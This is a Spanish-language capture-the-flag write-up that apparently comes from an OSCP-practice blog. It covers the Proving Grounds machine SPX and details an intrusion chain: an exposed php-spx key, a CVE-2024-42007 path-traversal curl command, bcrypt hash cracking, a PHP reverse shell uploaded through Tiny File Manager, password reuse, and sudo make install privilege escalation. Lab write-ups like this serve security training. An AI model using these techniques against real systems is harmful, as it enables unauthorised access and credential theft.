SPX - Writeup

SPX - Writeup

vie. 20 feb 2026
6 minutos


SPX es una máquina de Proving Grounds de dificultad media donde se puede ver el concepto de “Try Harder” de la OSCP. En ella, deberemos de enumerar debidamente para poder avanzar hasta poder lograr ser root.

Reconocimiento Link to Reconocimiento

Empezaremos escaneando los puertos abiertos de la máquina cuya IP es 192.168.169.108 con nmap.

BASH
1
2
3
4
5
6
7
8
sudo nmap -sS -p- --open -Pn -oN tcp_scan_192.168.169.108.txt 192.168.169.108
Nmap scan report for 192.168.169.108
Host is up (0.046s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ahora enumeramos los servicios que corren en estos puertos:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
sudo nmap --privileged -p22,80 -sCV -Pn -oN scan_192.168.169.108.txt 192.168.169.108
Nmap scan report for 192.168.169.108
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Tiny File Manager
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Como se puede observar, la máquina tiene el puerto 80 abierto con el servicio http y el puerto 22 con ssh.

Si entramos a la página web podremos encontrar lo siguiente:

home

A continuación, se procederá a fuzzear los directorios de la página web:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
gobuster dir --url http://192.168.206.108/ --wordlist /opt/SecLists-2025.2/Discovery/Web-Content/common.txt -t 10 -o gobuster_common.txt
/.hta.php             (Status: 403) [Size: 280]
/.hta                 (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/.htaccess.php        (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/index.php            (Status: 200) [Size: 12045]
/index.php            (Status: 200) [Size: 12045]
/phpinfo.php          (Status: 200) [Size: 74735]
/phpinfo.php          (Status: 200) [Size: 74735]
/server-status        (Status: 403) [Size: 280]

Podemos ver que está expuesto el phpinfo.php. En él, se suelen encontrar información la cual puede dar lugar a la explotación de la máquina así que su enumeración es importante.

Si buscamos lo suficiente podremos ver lo siguiente:

phpinfo

Un plugin para php llamado SPX con versión 0.4.15 y un secreto expuesto.

Si buscamos por internet nos encontraremos con el github de php-spx. En él se puede ver la forma de acceder al dashboard del plugin.

phpspx-github

Por defecto, el secreto es dev pero usaremos el secreto que robamos del phpinfo:

phpspx-dasboard

Si buscamos exploits encontraremos el siguiente: BubblyCola/CVE_2024_42007.

Explotación Link to Explotación

Primero, debemos modificar el exploit para que use la secret que robamos anteriormente:

exploit-modification

Usamos el exploit:

BASH
1
python3 CVE_2024_42007.py -t http://192.168.206.108/ -f /etc/passwd

exploit-lfi

Como podemos observar, el sitio web es vulnerable a Local File Inclusion. Si hacemos una investigación sobre Tiny File Manager en su github oficial podemos observar dos cosas:

  1. En el archivo principal se hardcodean contraseñas: config-tiny

  1. El archivo oficial puede tener otro nombre: name-tiny

Como el index.php apunta al Tiny File Manager daremos por hecho que es este.

Ahora debemos de apuntar al index.php con el LFI (Local File Inclusion). Como el script no me funcionaba con este arhivo procedí a realizarlo con curl y como es una aplicación php probé con la típica ruta /var/www/html/index.php:

BASH
1
curl "http://192.168.206.108/?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/www/html/index.php"

password-hashes

En este caso se procederá a romper el hash de admin que es la cuenta que necesitamos con hashcat y el diccionario rockyou.txt. El modo para romper bycrypt es 3200:

BASH
1
.\hashcat.exe -m 3200 -a 0 .\spx.hash rockyou.txt --force

Ejecuté hashcat en mi máquina host Windows 11 para poder tener la máxima potencia en el crackeo.

hashcat

Obtenemos: admin:lowprofile.

Si usamos las credenciales en Tiny File Manager logramos acceder:

access

Como administradores, ahora podemos subir archivos .php con una reverse shell para poder entrar en la máquina al referenciarlo.

Para ello, usé la página web revshells.com. Elegí el payload de PHP Monkey Pentest.

revshells

Como resultado, da un archivo el cual llamé monkey.php listo para subir.

upload-tiny

Al ponerme en escucha y al entrar a la página web /monkey.php obtuve la reverse shell:

reverse-shell

Escalada de privilegios Link to Escalada de privilegios

Enumeramos los usuarios del sistema:

users

Vemos que hay un user profiler. Si reusamos la contraseña lowprofile lograremos entrar como ese usuario.

Podemos encontrar la flag en /home/profiler/local.txt: local-flag

Enumerando los permisos del usuario profiler:

sudo-l

Para más información sobre esta escalada de privilegios: Makefile Privesc OSCP


Podemos ver que tenemos permisos de ejecutar sudo con make install. Esto es un vector potencial de escalada de privilegios ya que el Makefile al que hace referencia es propiedad de nuestro usuario y tenemos permisos de escritura.


Por lo tanto, podemos sobreescribir el Makefile para que cuando ejecute el comando install le añada al usuario profiler el permiso de usar sudo con cualquier comando.


Reescribimos el Makefile y escalamos privilegios: new-makefile

Podemos encontrar la flag en /root/proof.txt: proof-flag

Conclusión Link to Conclusión

Con esto concluye la máquina SPX. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.